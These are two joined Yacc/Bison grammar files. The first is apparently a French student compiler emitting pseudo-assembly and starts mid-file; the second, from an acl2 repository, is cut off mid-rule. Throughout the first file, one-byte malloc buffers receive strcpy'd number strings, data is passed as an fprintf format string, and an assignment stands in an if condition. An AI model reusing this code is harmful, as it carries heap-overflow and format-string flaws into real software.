:main {printf("%d \n",$1);}
/* |{
instructions[0][0]="JMP";
compteurinstructions++;
}
function
{
instructions[compteurinstructions][0]="JMP";
instructions[compteurinstructions][1]="LR";
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions);
instructions[0][1]=malloc(1);
strcpy(instructions[0][1],si);
//Ajout de valeur de fonction retour ?
} main {snprintf( si, 39, "%d", compteurinstructions);
instructions[0][1]=malloc(1);
strcpy(instructions[0][1],si);} // Jump de début vers function est noté dans la variable name , le retour sur une variable LR qui sera traitée par l'interpréteur
*/
;
main
: tMAIN tPOPEN tPCLOSE statement //{printList(); }
/* if(d !=-1){
yyerror("Curly brace error in your statement \n");
}}*/ //printf("Bien lu\n");
| tINT tMAIN tPOPEN tPCLOSE statement {$$=$5; //printList();
}
;
statement
: tAOPEN expression tACLOSE {$$=$2;}//{ printf("Profondeur %d",depth);}
;
expression
: expression expression
| expression_arithmetic {$$=$1;}
| iteration_statement {$$=0;}
| expression_print {$$=0;}
// | expression_fonction // APPEL DE FONCTION
;
// FUNCTION A TERMINER SOUCIS DE RACCORD ENTRE VARIABLE
/*function
:tVARNAME tPOPEN parameters tPCLOSE statement {printf("fonction\n");} // $statement =/tINT yyerror("Mauvais type en return")
| tINT tVARNAME tPOPEN parameters tPCLOSE statement {printf("fonction\n");}
|tINT tVARNAME tPOPEN tPCLOSE statement {printf("fonction\n");}
//| function function
;
parameters
: tINT tVARNAME
// | tCHAR tVARNAME
| tINT tVARNAME tCOMA parameters // compteur d'arguments
// | tCHAR tVARNAME tCOMA parameters
;
*/
// : type tVARNAME tEQUAL tAPOS tVARNAME tAPOS tSEMICOLON // string dans file, on peut transformer en ascii sur un registre et le traduire lorsqu'appelé
// ok ?
// peut être rentré dans variable multiple
declaration_pointeur
: tINT tMULT tVARNAME {
$$=0;
add = insertNode($3,"Pointer",1,depth); //sans adresse
}
| tINT tMULT tVARNAME tEQUAL calcul_multiple{
printf("Cas de pointeur %d \n",$5);
temp=temp+1%20;
add = insertNode($3,"Pointer",$5,depth);
instructions[compteurinstructions][0]="AFC";
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $5);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
$$=0;
}
|tMULT tVARNAME tEQUAL calcul_multiple {
//printf("TEST %d %s",$4,$2);
add = Value(findByID($2));
changeValuebyadd(add,type,Value($4));
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $4);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
$$=0;
}
;
expression_arithmetic
:type variable_multiple tSEMICOLON {$$=0;} //prendre en compte le cas int a=2, b=4 , c=5;
//{type=$1;}
//VARNAME DONNE
| tVARNAME tEQUAL calcul_multiple tSEMICOLON /* cas où l'on change la value d'une variable existante a = 1+7+a-b*/
{
add= findByID($1);
//printf("l'adresse %d\n",add);
if (add==-1){
printf("Variable non définie ligne %d \n", compteurinstructions);
yyerror("undefined \n");
error = 1;
break;
}
char t[20] = "const";
if (strcmp(t,TypeByID($1))==0){
printf("Constante inmodifiable ligne %d\n",compteurinstructions);
yyerror("cannot be altered\n");
error = 1;
break;
}
changeValuebyadd(add,type,Value($3));
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
$$=0;
// compteurinstructions++;
}
| declaration_pointeur tSEMICOLON;
;
expression_print
: tPRINTF tPOPEN tVARNAME tPCLOSE tSEMICOLON {
// printf("AAAAAAAAAAA");
// fprintf(fp,"PRI %s\n", $3);
add= findByID($3);
if (add==-1){
printf("variable %s non définie error ligne %d\n ", $3,compteurinstructions);
yyerror("undefined\n");
error = 1;
break;
}
instructions[compteurinstructions][0]="PRI";
instructions[compteurinstructions][1]=malloc(1);
snprintf( si, 39, "%d", add);
strcpy(instructions[compteurinstructions][1],si);
compteurinstructions++;
}//{printf($2);}
;
type
: tINT
{
// printf("%s\n", $1);
strcpy(type, "int");
$$ = type;
}
| tCONST
{
strcpy(type, "const");
$$ = type;
}
/* | tINT tMULT tVARNAME
{
$$ = $2;
}
*/
/*| tFLOAT
{
//strcpy(type, $1);
}*/
/*| tCHAR
{
//strcpy(type, $1);
}*/
;
variable_multiple
: tVARNAME tEQUAL calcul_multiple
{
//depth++;
/* printf("typeeeeee %s\n", type);
printf("varName %s\n", $1);
printf("Value %d\n",valueInt);*/
// printf("Depth !!!%d\n", depth);
// print("%s",type);
//if (!($3 ==1 || $3 ==0)) {
if (findByID($1) != -1){
printf("variable %s déjà instanciée error ligne %d\n ", $1, compteurinstructions);
yyerror("already instantiated\n ");
error = 1;
break;
}
add = insertNode($1,type,Value($3),depth);
// printf("ma val %d",Value($3));
// printList();
// add = findByID($1);
/*}else{
add = insertNode($1,type,Value($3),0);
}*/
fprintf(fp,"COP %d %d\n", add, $3); // add 0 1 temp
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
/* printf("teeesst %s\n", yylval.str_val);
insertNode(yylval.str_val,type,depth);
printf("insertioooon %s\n", yylval.str_val);
printList(); */
}
| variable_multiple tCOMA variable_multiple
| tVARNAME
{ if (findByID($1) != -1){
printf("variable %s déjà instanciée error ligne %d\n ", $1, compteurinstructions);
yyerror("already instantiated\n ");
error = 1;
break;
}
add = insertNode($1,type,0,depth);}// cas triviaux a
;
calcul_multiple
: calcul_multiple tPLUS calcul_multiple
{
// printf("--------------------ADDITION---------------\n"); //test correct
// printf("%d ++++++ %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,depth);
temp = (temp+1)%20;
valueInt= Value($1)+Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
fprintf(fp,"ADD %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
instructions[compteurinstructions][0]="ADD";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| calcul_multiple tMOINS calcul_multiple
{
// printf("--------------------SOUSTRACTION---------------\n"); //test correct
// printf(" %d - %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,depth);
temp = (temp+1)%20;
valueInt= Value($1)-Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
fprintf(fp,"SOU %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
instructions[compteurinstructions][0]="SOU";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| calcul_multiple tMULT calcul_multiple
{
// printf("--------------------Multiplication---------------\n");
// printf(" %d * %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,depth);
temp = (temp+1)%20;
valueInt= Value($1)*Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
//fprintf(fp,"MUL %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
instructions[compteurinstructions][0]="MUL";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| calcul_multiple tDIV calcul_multiple
{
// printf("--------------------Division---------------\n");
// printf(" %d / %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,depth);
temp = (temp+1)%20;
valueInt= Value($1)/Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
//fprintf(fp,"DIV %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
instructions[compteurinstructions][0]="DIV";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| tPOPEN calcul_multiple tPCLOSE {$$=$2;}
//Cas triviaux Integer / Variable pré déf ou decimal
| tINTEGER
{
// printf("%d\n", yylval.int_val);
// printf("value integer %d\n", $1);
//sprintf(value,"%d",$1);
temp = (temp +1)%20;
changeValuebyadd(temp,"int",$1);
//printList();
fprintf(fp,"AFC %d %d\n", temp, $1); // affecter à une valeur temporaire, trouver un moyen d'avoir une adresse différente en adresse temporaire
// printf("temp val integer %d\n",temp);
$$ = temp;
instructions[compteurinstructions][0]="AFC";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
}
| tVARNAME
{
// printf("tVARNAME %s\n", $1);
// printf("value integer %d\n", findByID($1));
add =findByID($1);
if (add==-1){
printf("variable %s non définie error ligne %d\n ", $1, compteurinstructions);
yyerror("undefined\n");
error = 1;
break;
}
$$=add;
//printf("Le varName :%d",$1);
}
| tDEC {printf("%.2f\n", yylval.double_val);}
| tMULT tVARNAME {
add =findByID($2);
if (add==-1){
printf("variable %s non définie error ligne %d\n ", $1, compteurinstructions);
yyerror("undefined\n");
error = 1;
break;
}
$$ = Value(add);
}
/* | tET tVARNAME {
$$ =
}
*/
;
iteration_statement
: tWHILE conditioner {boolean=$2;
d++;
compteurdeif[d]=compteurinstructions;
instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
d++;
compteurdeif[d]=compteurinstructions;
//printf("LE COMPTEUR AFFICHE %d \n",compteurdeif[d]);
compteurinstructions++;
depth++;} statement {
instructions[compteurinstructions][0]="JMP";
snprintf( si, 39, "%d", compteurdeif[d-1]);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);deletebyDepth(depth); d=d-2; depth--;} //rajouter JMP au debut du while avec test condition à chaque fin de while
| tIF conditioner {
boolean=$2;
instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
d++;
compteurdeif[d]=compteurinstructions;
// printf("LE COMPTEUR AFFICHE %d \n",compteurdeif[d]);
compteurinstructions++;
depth++;} statement elsif {
depth--;}
//| tIF conditioner {printf("t3\n");depth++;} statement elsif {deletebyDepth(depth); depth--;}
// je retiens d pour jump au prochain elsif j'efface ce d et le réutilise pour le prochain jump elsif ?
// on peut utiliser un tableau qui retient une vingtaine de d pour les elsif imbriqués
// en même temps je créé un d+1 d+2 d+3 pour le jump vers fin du bloc if-elsif à la fin de chaque statement
;
// + Null , + else , + elsif, +elsif +else
elsif
:tELSIF
{
x=1;
o++;
debuto[depth]=o;
instructions[compteurinstructions][0]="JMP";
instructions[compteurinstructions][1]=malloc(1);
compteurELSIF[o]=compteurinstructions;
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--; } conditioner {
boolean = $1; instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);
d++;
compteurdeif[d]=compteurinstructions;
compteurinstructions++;
}
statement
{o++;instructions[compteurinstructions][0]="JMP"; // Faire un ELSIF
compteurELSIF[o]=compteurinstructions;
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--; }
elsif {snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--; }
|tELSE {instructions[compteurinstructions][0]="JMP";
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
d++;
compteurdeif[d]=compteurinstructions;
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d-1]][2],si);
} statement
{
snprintf( si, 39, "%d", compteurinstructions+1);strcpy(instructions[compteurdeif[d]][1],si); deletebyDepth(depth);d=d-2; depth--;
} finelsif
| finelsif
;
finelsif
: {
if (x=1){
for (o; o>debuto[depth]-1;o--){
// printf("ça c'est o :%d et debuto depth %d\n",o,debuto[depth]);
// printf("cpt %d\n",compteurELSIF[o]);
instructions[compteurELSIF[o]][1]=malloc(1);
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurELSIF[o]][1],si);
}
x=0;
}
}
;
//non opti avec JMP en trop
// tELSIF conditioner statement
/* |tELSIF conditioner {printf("ça bug ? \n");
boolean = $2; instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);} statement {
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--; }{ for (o; o>-1;o--){
printf("un peu bcp %d\n",compteurELSIF[o]);
instructions[compteurELSIF[o]][1]=malloc(1);
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurELSIF[o]][1],si);
}
}*/
conditional_expression
: condition {$$=$1;} // valeur 0 ou 1
| condition tOR conditional_expression {
temp = (temp +1)%20;
$$=temp;
valueInt= Value($1)+Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
instructions[compteurinstructions][0]="ADD";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;} // addition des valeurs si la somme est nulle alors le résultat est faux
| condition tAND conditional_expression {// ici si la multiplication est nulle alors le and est faux // renvoyer l'adresse add en $
temp = (temp +1)%20;
$$=temp;
valueInt= Value($1)*Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
instructions[compteurinstructions][0]="MUL";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;} // faire une multiplication des deux conditions
;
condition
: calcul_multiple tBE calcul_multiple {
temp = (temp+1)%20;
fprintf(fp,"EQU %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="EQU";
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
/* |calcul_multiple tGEQ calcul_multiple {fprintf(fp,"EQU %d %d\n", $1, $3);
} // jump si vrai sinon tester greater
| calcul_multiple tLEQ calcul_multiple // 0 si faux , 1 si vrai */
|calcul_multiple tINF calcul_multiple {
temp = (temp+1)%20;
fprintf(fp,"INF %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="INF";
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;}
|calcul_multiple tSUP calcul_multiple {fprintf(fp,"SUP %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="SUP";
temp = (temp+1)%20;
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;}
|calcul_multiple tGEQ calcul_multiple {//fprintf(fp,"SUP %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="SUPE";
temp = (temp+1)%20;
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
|calcul_multiple tLEQ calcul_multiple {//fprintf(fp,"SUP %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="INFE";
temp = (temp+1)%20;
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| calcul_multiple
// | calcul_multiple
;
/* 1.024 == 2*/
conditioner
: tPOPEN conditional_expression tPCLOSE {$$=$2;}
| tPOPEN calcul_multiple tPCLOSE {$$=$2;} // Renvoyer la valeur au supérieur// value($2) == 0 renvoyer ne pas lire statement vrai si valeur != 0
;
%%
yyerror(char *s)
{
fprintf(stderr, "%s\n", s);
exit(-1);
}
yywrap()
{
return(1);
}
int main(){
insertTemp();
//printList();
fp = fopen("./output/file.txt","w");
printf("Start analysis \n");
yyparse();
fclose(fp);
/* yylex(); */
finstructions=fopen("./output/assembleur.asm","w");
// printf("COMPTEUR DINSTRUCTIONS %d \n",compteurinstructions);
// Rajouter Si Error alors on le lit pas le for
if (error == 0) {
for (int i =0; i<compteurinstructions;i++){
for(int j=0; j<4;j++){
//printf("JEUX d'instructions------------------------\n");
//printf(instructions[i][j]);
//printf("\n");
fprintf(finstructions,instructions[i][j]);
fprintf(finstructions," ");
//printf("Fin boucle %d\n",j);
}
fprintf(finstructions,"\n");
}
}
fclose(finstructions);
deleteAll();
return(0);
}
|
<reponame>solswords/acl2
%{
#include <alloca.h>
#include <cstdlib>
int yylex();
#include "parser.h"
void yyerror(const char *);
extern int yylineno;
extern char yyfilenm[];
extern BreakStmt breakStmt;
Program prog;
List<Builtin> *builtins = new List<Builtin>(new Builtin("abs", &intType, &intType));
Stack<SymDec> *symTab = new Stack<SymDec>;
%}
%union {
int i;
char *s;
Type *t;
DefinedType *dt;
Expression *exp;
FunDef *fd;
List<Expression> *expl;
BigList<Expression> *initl;
StructField *sf;
List<StructField> *sfl;
EnumConstDec *ecd;
List<EnumConstDec> *ecdl;
VarDec *vd;
List<VarDec> *vdl;
TempParamDec *tpd;
List<TempParamDec> *tdl;
Statement *stm;
List<Statement> *stml;
Case *c;
List<Case> *cl;
}
%token TYPEDEF CONST STRUCT ENUM TEMPLATE
%token MASC
%token INT UINT INT64 UINT64 BOOL
%token TO_UINT TO_UINT64 RANGE SLC SET_SLC
%token WAIT FOR IF ELSE WHILE DO SWITCH CASE DEFAULT BREAK CONTINUE RETURN ASSERT
%token ARRAY TUPLE TIE
%token SC_INT SC_BIGINT SC_FIXED SC_UINT SC_BIGUINT SC_UFIXED AC_INT
%token <s> RSHFT_ASSIGN LSHFT_ASSIGN ADD_ASSIGN SUB_ASSIGN MUL_ASSIGN MOD_ASSIGN
%token <s> AND_ASSIGN XOR_ASSIGN OR_ASSIGN
%token <s> INC_OP DEC_OP
%token <s> RSHFT_OP LSHFT_OP AND_OP OR_OP LE_OP GE_OP EQ_OP NE_OP
%token <s> ID NAT TRUE FALSE TYPEID TEMPLATEID
%token <s> '=' '+' '-' '&' '|' '!' '~' '*' '%' '<' '>' '^' '/'
%start program
%type <t> type_spec typedef_type
%type <t> primitive_type array_param_type mv_type register_type struct_type enum_type
%type <dt> type_dec typedef_dec
%type <sf> struct_field
%type <sfl> struct_field_list
%type <ecd> enum_const_dec
%type <ecdl> enum_const_dec_list
%type <exp> expression constant integer boolean symbol_ref funcall
%type <exp> array_or_bit_ref subrange array_init case_label
%type <exp> primary_expression postfix_expression prefix_expression mult_expression add_expression
%type <exp> arithmetic_expression rel_expression eq_expression and_expression xor_expression ior_expression
%type <exp> to_uint_expression to_uint64_expression log_and_expression log_or_expression cond_expression
%type <exp> mv_expression struct_ref
%type <fd> func_def func_template
%type <expl> expr_list nontrivial_expr_list arith_expr_list nontrivial_arith_expr_list
%type <initl> array_init_list
%type <vdl> param_dec_list nontrivial_param_dec_list
%type <tpd> template_param_dec
%type <tdl> template_param_dec_list nontrivial_template_param_dec_list
%type <stml> statement_list
%type <stm> statement block var_dec const_dec untyped_var_dec untyped_const_dec iterative_statement
%type <stm> for_statement for_init while_statement multiple_var_dec multiple_const_dec null_statement
%type <stm> do_statement if_statement switch_statement continue_statement break_statement
%type <stm> simple_statement assignment multiple_assignment assertion wait_statement return_statement
%type <c> case
%type <cl> case_list
%type <s> assign_op inc_op unary_op
%expect 3
%%
//*************************************************************************************
// Program Structure
//*************************************************************************************
// A program consists of a sequence of type definitions, global constant declarations,
// and function definitions. The parser produces four linked lists corresponding to
// these sequences, stored as the values of the variables typeDefs, constDecs, and funDefs.
program
: program_element program {}
| program_element
;
program_element
: type_dec ';'
{
if (!prog.typeDefs) {
prog.typeDefs = new List<DefinedType>($1);
}
else if (prog.typeDefs->find($1->name)) {
yyerror("Duplicate type definition");
}
else {
prog.typeDefs->add($1);
}
}
| const_dec ';'
{
if (!prog.constDecs) {
prog.constDecs = new List<ConstDec>((ConstDec*)$1);
}
else if (prog.constDecs->find(((ConstDec*)$1)->sym->name)) {
yyerror("Duplicate global constant declaration");
}
else {
prog.constDecs->add((ConstDec*)$1);
}
}
| func_def
{
if (!prog.funDefs) {
prog.funDefs = new List<FunDef>($1);
}
else if (prog.funDefs->find($1->sym->name)) {
yyerror("Duplicate function definition");
}
else {
prog.funDefs->add($1);
}
}
;
//*************************************************************************************
// Types
//*************************************************************************************
type_dec
: typedef_dec
| STRUCT ID struct_type {$$ = new DefinedType($2, $3);}
| ENUM ID enum_type {$$ = new DefinedType($2, $3);}
;
typedef_dec
: TYPEDEF typedef_type ID {$$ = new DefinedType($3, $2);}
| typedef_dec '[' arithmetic_expression ']'
{
if ($3->isConst() && $3->evalConst() > 0) {
$1->def = new ArrayType($3, $1->def); $$ = $1;
}
else {
yyerror("Array dimension not a positive integer constant");
}
}
;
typedef_type
: primitive_type // name of a primitive C numerical type
| register_type // SystemC register class
| array_param_type // instantiation of array class template
| mv_type // instantiation of mv class template
| TYPEID {$$ = prog.typeDefs->find($1);} // name of a previously declared type
;
type_spec
: typedef_type // type that can appear in a typedef declaration
| STRUCT struct_type {$$ = $2;} // standard C structure type
| ENUM enum_type {$$ = $2;} // standard C enumeration type
;
primitive_type
: INT {$$ = &intType;}
| UINT {$$ = &uintType;}
| INT64 {$$ = &int64Type;}
| UINT64 {$$ = &uint64Type;}
| BOOL {$$ = &boolType;}
;
register_type
: SC_INT '<' arithmetic_expression '>' // rel_expression would produce unresolvable shift-reduce conflict
{
if ($3->isConst() && $3->isInteger() && $3->evalConst() >= 0) {
$$ = new IntType($3);
}
else {
yyerror("Illegal parameter of sc_int");
}
}
| SC_UINT '<' arithmetic_expression '>'
{
if ($3->isConst() && $3->isInteger() && $3->evalConst() >= 0) {
$$ = new UintType($3);
}
else {
yyerror("Illegal parameter of sc_uint");
}
}
| SC_BIGUINT '<' arithmetic_expression '>'
{
if ($3->isConst() && $3->isInteger() && $3->evalConst() >= 0) {
$$ = new BigUintType($3);
}
else {
yyerror("Illegal parameter of sc_biguint");
}
}
| SC_BIGINT '<' arithmetic_expression '>'
{
if ($3->isConst() && $3->isInteger() && $3->evalConst() >= 0) {
$$ = new IntType($3);
}
else {
yyerror("Illegal parameter of sc_bigint");
}
}
| SC_FIXED '<' arithmetic_expression ',' arithmetic_expression '>'
{
if ($3->isConst() && $3->isInteger() && ($3->evalConst() >= 0) & $5->isConst() && $5->isInteger()) {
$$ = new FixedType($3, $5);
}
else {
yyerror("Illegal parameter of sc_fixed");
}
}
| SC_UFIXED '<' arithmetic_expression ',' arithmetic_expression '>'
{
if ($3->isConst() && $3->isInteger() && ($3->evalConst() >= 0) & $5->isConst() && $5->isInteger()) {
$$ = new UfixedType($3, $5);
}
else {
yyerror("Illegal parameter of sc_ufixed");
}
}
| AC_INT '<' arithmetic_expression ',' FALSE'>'
{
if ($3->isConst() && $3->isInteger() && $3->evalConst() >= 0) {
$$ = new UintType($3);
}
else {
yyerror("Illegal parameter of ac_int");
}
}
| AC_INT '<' arithmetic_expression ',' TRUE'>'
{
if ($3->isConst() && $3->isInteger() && $3->evalConst() >= 0) {
$$ = new IntType($3);
}
else {
yyerror("Illegal parameter of ac_int");
}
}
;
array_param_type
: ARRAY '<' type_spec ',' arithmetic_expression '>'
{
if ($5->isConst() && $5->evalConst() > 0) {
$$ = new ArrayType($5, $3);
}
else {
yyerror("Non-constant array dimension");
}
}
;
struct_type
: '{' struct_field_list '}' {$$ = new StructType($2);}
;
struct_field_list
: struct_field {$$ = new List<StructField>($1);}
| struct_field_list struct_field {$$ = $1->add($2);}
;
struct_field
: type_spec ID ';' {$$ = new StructField($1, $2);}
;
enum_type
: '{' enum_const_dec_list '}' {$$ = new EnumType($2);}
;
enum_const_dec_list
: enum_const_dec {$$ = new List<EnumConstDec>($1);}
| enum_const_dec_list ',' enum_const_dec {$$ = $1->add($3);}
;
enum_const_dec
: ID {$$ = new EnumConstDec($1); symTab->push($$);}
| ID '=' expression {$$ = new EnumConstDec($1, $3); symTab->push($$);}
;
mv_type
: TUPLE '<' type_spec ',' type_spec '>' {$$ = new MvType(2, $3, $5);}
| TUPLE '<' type_spec ',' type_spec ',' type_spec '>' {$$ = new MvType(3, $3, $5, $7);}
| TUPLE '<' type_spec ',' type_spec ',' type_spec ',' type_spec '>' {$$ = new MvType(4, $3, $5, $7, $9);}
;
//*************************************************************************************
// Expressions
//*************************************************************************************
primary_expression
: constant
| symbol_ref
| funcall
| '(' expression ')' {$$ = $2; $$->needsParens = true;}
;
constant
: integer
| boolean
;
integer
: NAT {$$ = new Integer($1);}
| '-' NAT
{
char *name = new char[strlen($2)+2];
strcpy(name+1, $2);
name[0] = '-';
$$ = new Integer(name);
}
;
boolean
: TRUE {$$ = &b_true;}
| FALSE {$$ =&b_false;}
;
symbol_ref
: ID
{
SymDec *s = symTab->find($1);
if (s) {
$$ = new SymRef(s);
}
else {
yyerror("Unknown symbol");
}
}
;
funcall
: ID '(' expr_list ')'
{
FunDef *f;
if ((f = prog.funDefs->find($1)) == NULL && (f = builtins->find($1)) == NULL) {
yyerror("Undefined function");
}
else {
$$ = new FunCall(f, $3);
}
}
| TEMPLATEID '<' arith_expr_list '>' '(' arith_expr_list ')'
{
Template *f;
